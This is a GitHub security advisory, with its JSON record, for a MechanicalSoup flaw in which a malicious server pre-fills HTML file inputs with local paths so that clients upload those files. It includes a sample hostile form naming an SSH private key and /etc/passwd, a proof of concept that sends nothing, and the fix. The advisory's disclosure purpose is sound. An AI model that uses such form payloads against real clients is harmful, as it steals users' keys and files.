GHSA-X456-3CCM-M6J4

Vulnerability from github – Published: 2023-07-05 21:35 – Updated: 2024-10-01 19:29
VLAI?
Summary
MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form
Details

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

b = mechanicalsoup.StatefulBrowser()
b.select_form(...)
b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

    if tag.get("type", "").lower() == "file" and multipart:
        filepath = value
        if filepath != "" and isinstance(filepath, str):
            content = open(filepath, "rb")
        else:
            content = ""
        filename = os.path.basename(filepath)
        # If value is the empty string, we still pass it
        # for consistency with browsers (see
        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
        files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

<html><body>
  <form method="post" enctype="multipart/form-data">
    <input type="text" name="greeting" value="hello" />
    <input type="file" name="evil" value="/home/user/.ssh/id_rsa" />
  </form>
</body></html>

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

import attr
import mechanicalsoup
import requests


class NevermindError(Exception):
    pass


@attr.s
class FakeSession:
    session = attr.ib()

    headers = property(lambda self: self.session.headers)

    def request(self, *args, **kwargs):
        print("requested", args, kwargs)
        raise NevermindError  # don't actually send request


def demonstrate(inputs=None):
    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))
    b.open_fake_page("""\
<html><body>
<form method="post" enctype="multipart/form-data">
<input type="text" name="greeting" value="hello" />
<input type="file" name="evil" value="/etc/passwd" />
<input type="file" name="second" />
</form>
</body></html>
""", url="http://127.0.0.1:9/")
    b.select_form()
    if inputs is not None:
        b.form.set_input(inputs)
    try:
        b.submit_selected()
    except NevermindError:
        pass

# %%

# unpatched
demonstrate()
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

# %%

# with the patch, this now works. users MUST open the file manually and
# use browser.set_input() using the file object.
demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})
# OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

# %%

# with the patch, this raises a ValueError with a helpful string
demonstrate({"evil": "/etc/hostname"})

# %%

# with the patch, we silently send no file if a malicious server tries the attack:
demonstrate()

Suggested patch

diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py
index 285f8bb..68bc65e 100644
--- a/mechanicalsoup/browser.py
+++ b/mechanicalsoup/browser.py
@@ -1,7 +1,8 @@
+import io
 import os
 import tempfile
 import urllib
 import weakref
 import webbrowser

 import bs4
@@ -227,15 +228,21 @@ class Browser:
                     value = tag.get("value", "")

                 # If the enctype is not multipart, the filename is put in
                 # the form as a text input and the file is not sent.
                 if tag.get("type", "").lower() == "file" and multipart:
                     filepath = value
                     if filepath != "" and isinstance(filepath, str):
-                        content = open(filepath, "rb")
+                        content = getattr(tag, "_mechanicalsoup_file", None)
+                        if content is False:
+                            raise ValueError(
+                                """From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({"name": open("/path/to/filename", "rb")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client."""
+                            )
+                        elif not isinstance(content, io.IOBase):
+                            content = ""
                     else:
                         content = ""
                     filename = os.path.basename(filepath)
                     # If value is the empty string, we still pass it
                     # for consistency with browsers (see
                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).
                     files[name] = (filename, content)
diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py
index a67195c..82f6015 100644
--- a/mechanicalsoup/form.py
+++ b/mechanicalsoup/form.py
@@ -1,8 +1,9 @@
 import copy
+import io
 import warnings

 from bs4 import BeautifulSoup

 from .utils import LinkNotFoundError


@@ -64,15 +65,24 @@ class Form:
         give it the value ``password``.
         """

         for (name, value) in data.items():
             i = self.form.find("input", {"name": name})
             if not i:
                 raise InvalidFormMethod("No input field named " + name)
-            i["value"] = value
+
+            if isinstance(value, io.IOBase):
+                # Store the actual file object for <input type="file">
+                i._mechanicalsoup_file = value
+                i["value"] = value.name
+            else:
+                # We set `_mechanicalsoup_file` to `False` so that we can
+                # check for deprecated use of the API.
+                i._mechanicalsoup_file = False
+                i["value"] = value

     def uncheck_all(self, name):
         """Remove the *checked*-attribute of all input elements with
         a *name*-attribute given by ``name``.
         """
         for option in self.form.find_all("input", {"name": name}):
             if "checked" in option.attrs:
@@ -257,20 +267,20 @@ class Form:
         .. code-block:: python

             form.set("login", username)
             form.set("password", password)
             form.set("eula-checkbox", True)

         Example: uploading a file through a ``<input type="file"
-        name="tagname">`` field (provide the path to the local file,
+        name="tagname">`` field (provide an open file object,
         and its content will be uploaded):

         .. code-block:: python

-            form.set("tagname", path_to_local_file)
+            form.set("tagname", open(path_to_local_file, "rb"))

         """
         for func in ("checkbox", "radio", "input", "textarea", "select"):
             try:
                 getattr(self, "set_" + func)({name: value})
                 return
             except InvalidFormMethod:

Impact

All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

Severity ?
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MechanicalSoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-05T21:35:54Z",
    "nvd_published_at": "2023-07-05T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form.\n\n### Details\nThis affects the extremely common pattern of form submission:\n\n```python\nb = mechanicalsoup.StatefulBrowser()\nb.select_form(...)\nb.submit_selected()\n```\n\nThe problem is with the code in `browser.Browser.get_request_kwargs`:\n\n```python\n    if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n        filepath = value\n        if filepath != \"\" and isinstance(filepath, str):\n            content = open(filepath, \"rb\")\n        else:\n            content = \"\"\n        filename = os.path.basename(filepath)\n        # If value is the empty string, we still pass it\n        # for consistency with browsers (see\n        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n        files[name] = (filename, content)\n```\n\nThe file path is taken from the bs4 tag \"value\" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:\n\n```html\n\u003chtml\u003e\u003cbody\u003e\n  \u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n    \u003cinput type=\"file\" name=\"evil\" value=\"/home/user/.ssh/id_rsa\" /\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nthen upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key.\n\n### PoC\n\n```python\nimport attr\nimport mechanicalsoup\nimport requests\n\n\nclass NevermindError(Exception):\n    pass\n\n\n@attr.s\nclass FakeSession:\n    session = attr.ib()\n\n    headers = property(lambda self: self.session.headers)\n\n    def request(self, *args, **kwargs):\n        print(\"requested\", args, kwargs)\n        raise NevermindError  # don\u0027t actually send request\n\n\ndef demonstrate(inputs=None):\n    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))\n    b.open_fake_page(\"\"\"\\\n\u003chtml\u003e\u003cbody\u003e\n\u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n\u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n\u003cinput type=\"file\" name=\"evil\" value=\"/etc/passwd\" /\u003e\n\u003cinput type=\"file\" name=\"second\" /\u003e\n\u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n\"\"\", url=\"http://127.0.0.1:9/\")\n    b.select_form()\n    if inputs is not None:\n        b.form.set_input(inputs)\n    try:\n        b.submit_selected()\n    except NevermindError:\n        pass\n\n# %%\n\n# unpatched\ndemonstrate()\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027passwd\u0027, \u003c_io.BufferedReader name=\u0027/etc/passwd\u0027\u003e), \u0027second\u0027: (\u0027\u0027, \u0027\u0027)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hello\u0027)]}\n\n# %%\n\n# with the patch, this now works. users MUST open the file manually and\n# use browser.set_input() using the file object.\ndemonstrate({\"greeting\": \"hiya\", \"evil\": open(\"/etc/hostname\", \"rb\").name, \"second\": open(\"/dev/null\", \"rb\")})\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027hostname\u0027, \u003c_io.BufferedReader name=\u0027/etc/hostname\u0027\u003e), \u0027second\u0027: (\u0027null\u0027, \u003c_io.BufferedReader name=\u0027/dev/null\u0027\u003e)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hiya\u0027)]}\n\n# %%\n\n# with the patch, this raises a ValueError with a helpful string\ndemonstrate({\"evil\": \"/etc/hostname\"})\n\n# %%\n\n# with the patch, we silently send no file if a malicious server tries the attack:\ndemonstrate()\n```\n\n### Suggested patch\n\n```diff\ndiff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py\nindex 285f8bb..68bc65e 100644\n--- a/mechanicalsoup/browser.py\n+++ b/mechanicalsoup/browser.py\n@@ -1,7 +1,8 @@\n+import io\n import os\n import tempfile\n import urllib\n import weakref\n import webbrowser\n \n import bs4\n@@ -227,15 +228,21 @@ class Browser:\n                     value = tag.get(\"value\", \"\")\n \n                 # If the enctype is not multipart, the filename is put in\n                 # the form as a text input and the file is not sent.\n                 if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n                     filepath = value\n                     if filepath != \"\" and isinstance(filepath, str):\n-                        content = open(filepath, \"rb\")\n+                        content = getattr(tag, \"_mechanicalsoup_file\", None)\n+                        if content is False:\n+                            raise ValueError(\n+                                \"\"\"From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({\"name\": open(\"/path/to/filename\", \"rb\")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client.\"\"\"\n+                            )\n+                        elif not isinstance(content, io.IOBase):\n+                            content = \"\"\n                     else:\n                         content = \"\"\n                     filename = os.path.basename(filepath)\n                     # If value is the empty string, we still pass it\n                     # for consistency with browsers (see\n                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                     files[name] = (filename, content)\ndiff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py\nindex a67195c..82f6015 100644\n--- a/mechanicalsoup/form.py\n+++ b/mechanicalsoup/form.py\n@@ -1,8 +1,9 @@\n import copy\n+import io\n import warnings\n \n from bs4 import BeautifulSoup\n \n from .utils import LinkNotFoundError\n \n \n@@ -64,15 +65,24 @@ class Form:\n         give it the value ``password``.\n         \"\"\"\n \n         for (name, value) in data.items():\n             i = self.form.find(\"input\", {\"name\": name})\n             if not i:\n                 raise InvalidFormMethod(\"No input field named \" + name)\n-            i[\"value\"] = value\n+\n+            if isinstance(value, io.IOBase):\n+                # Store the actual file object for \u003cinput type=\"file\"\u003e\n+                i._mechanicalsoup_file = value\n+                i[\"value\"] = value.name\n+            else:\n+                # We set `_mechanicalsoup_file` to `False` so that we can\n+                # check for deprecated use of the API.\n+                i._mechanicalsoup_file = False\n+                i[\"value\"] = value\n \n     def uncheck_all(self, name):\n         \"\"\"Remove the *checked*-attribute of all input elements with\n         a *name*-attribute given by ``name``.\n         \"\"\"\n         for option in self.form.find_all(\"input\", {\"name\": name}):\n             if \"checked\" in option.attrs:\n@@ -257,20 +267,20 @@ class Form:\n         .. code-block:: python\n \n             form.set(\"login\", username)\n             form.set(\"password\", password)\n             form.set(\"eula-checkbox\", True)\n \n         Example: uploading a file through a ``\u003cinput type=\"file\"\n-        name=\"tagname\"\u003e`` field (provide the path to the local file,\n+        name=\"tagname\"\u003e`` field (provide an open file object,\n         and its content will be uploaded):\n \n         .. code-block:: python\n \n-            form.set(\"tagname\", path_to_local_file)\n+            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n \n         \"\"\"\n         for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n             try:\n                 getattr(self, \"set_\" + func)({name: value})\n                 return\n             except InvalidFormMethod:\n```\n\n### Impact\n\nAll users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.",
  "id": "GHSA-x456-3ccm-m6j4",
  "modified": "2024-10-01T19:29:06Z",
  "published": "2023-07-05T21:35:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34457"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mechanicalsoup/PYSEC-2023-108.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form"
}


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